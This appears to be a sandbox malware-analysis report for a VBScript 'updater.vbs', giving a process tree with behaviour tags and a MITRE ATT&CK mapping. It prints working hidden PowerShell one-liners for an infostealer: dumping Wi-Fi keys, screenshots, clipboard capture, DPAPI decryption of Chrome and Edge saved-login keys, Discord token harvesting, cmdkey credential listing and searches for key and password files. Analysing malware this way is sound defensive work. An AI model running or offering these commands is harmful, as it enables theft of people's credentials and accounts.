- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5844,i,18141430796790600989,16585897133625470690,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:8
    3⤵
    PID:2296
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6924,i,16784735349871344224,16548730072884309674,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:8
    3⤵
    PID:2852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6464,i,16976392086686776578,15027125648129250678,262144 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=6928 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6960,i,9358692478014714471,4263406698737244583,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:8
    3⤵
    PID:3032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6960,i,11359907507513330376,11006595613481352885,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:8
    3⤵
    PID:2968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5924,i,7768166549493114978,18432130210616099581,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:8
    3⤵
    PID:1748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5928,i,1077038305912589954,4838286650861166022,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:8
    3⤵
    PID:2712
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1320,i,8491894773801580426,4974646013207549924,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:8
    3⤵
    PID:4884
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5000,i,1953819936599768719,9615575755316758311,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:8
    3⤵
    PID:1436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5016,i,18100421211852991263,14831473706919503720,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=3776 /prefetch:8
    3⤵
    PID:2716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5352,i,18190892880304991090,12366309908795621366,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=4000 /prefetch:8
    3⤵
    PID:2644
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\Microsoft\DocRender\updater.vbs"
  2⤵
  - Badlisted process makes network request
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c > "C:\Users\Admin\AppData\Local\Temp\~cfg.tmp" 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:2968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "(netsh wlan show profiles)|Select-String 'All User Profile'|%{$n=($_ -split ':',2)[1].Trim();'=== '+$n+' ===';(netsh wlan show profile $n key=clear)|Select-String 'Key Content'}|Out-File ($env:TEMP+'\~w.tmp') -Enc UTF8"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1064

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "Add-Type -A System.Windows.Forms,System.Drawing;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;$b=New-Object Drawing.Bitmap($s.Width,$s.Height);[Drawing.Graphics]::FromImage($b).CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size);$b.Save(($env:TEMP+'\~s.jpg'),[System.Drawing.Imaging.ImageFormat]::Jpeg)"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "Add-Type -A System.Windows.Forms;[Windows.Forms.Clipboard]::GetText()|Out-File ($env:TEMP+'\~c.tmp') -Enc UTF8"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "$p=$env:LOCALAPPDATA+'\Google\Chrome\User Data';try{Add-Type -A System.Security;$j=gc ($p+'\Local State') -Raw|ConvertFrom-Json;$e=[Convert]::FromBase64String($j.os_crypt.encrypted_key);$d=[Security.Cryptography.ProtectedData]::Unprotect($e[5..($e.Length-1)],$null,'CurrentUser');[Convert]::ToBase64String($d)|Out-File ($env:TEMP+'\~ck.tmp');cp ($p+'\Default\Login Data') ($env:TEMP+'\~cl.db') -Fo;cp ($p+'\Default\Web Data') ($env:TEMP+'\~cw.db') -Fo;cp ($p+'\Default\History') ($env:TEMP+'\~ch.db') -Fo}catch{};$ep=$env:LOCALAPPDATA+'\Microsoft\Edge\User Data';if(Test-Path ($ep+'\Default\Login Data')){try{$ej=gc ($ep+'\Local State') -Raw|ConvertFrom-Json;$ee=[Convert]::FromBase64String($ej.os_crypt.encrypted_key);$ed=[Security.Cryptography.ProtectedData]::Unprotect($ee[5..($ee.Length-1)],$null,'CurrentUser');[Convert]::ToBase64String($ed)|Out-File ($env:TEMP+'\~ek.tmp');cp ($ep+'\Default\Login Data') ($env:TEMP+'\~el.db') -Fo;cp ($ep+'\Default\Web Data') ($env:TEMP+'\~ew.db') -Fo;cp ($ep+'\Default\History') ($env:TEMP+'\~eh.db') -Fo}catch{}}"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "$o=@();@('discord','discordcanary','discordptb')|%{$d=$env:APPDATA+'\'+$_+'\Local Storage\leveldb';if(Test-Path $d){gci ($d+'\*.ldb'),($d+'\*.log') -ea 0|%{[regex]::Matches([IO.File]::ReadAllText($_.FullName),'[A-Za-z\d]{24,}\.[\w-]{6}\.[\w-]{27,}')|%{$o+=$_.Value}}}};$o|select -u|Out-File ($env:TEMP+'\~dt.tmp')"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4456

C:\Windows\system32\cmd.exe
cmd /c cmdkey /list > "C:\Users\Admin\AppData\Local\Temp\~k.tmp" 2>&1
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:744
- C:\Windows\system32\cmdkey.exe
  cmdkey /list
  2⤵
  PID:620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "$o=@();@('*.kdbx','*.rdp','*.pfx','*.p12','*.ovpn','*.jks','*.ppk')|%{gci ($env:USERPROFILE) -Recurse -Filter $_ -ea 0 -Depth 5|%{$o+=$_.FullName+' ('+$_.Length+'B)'}};$o|Out-File ($env:TEMP+'\~sf.tmp') -Enc UTF8"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery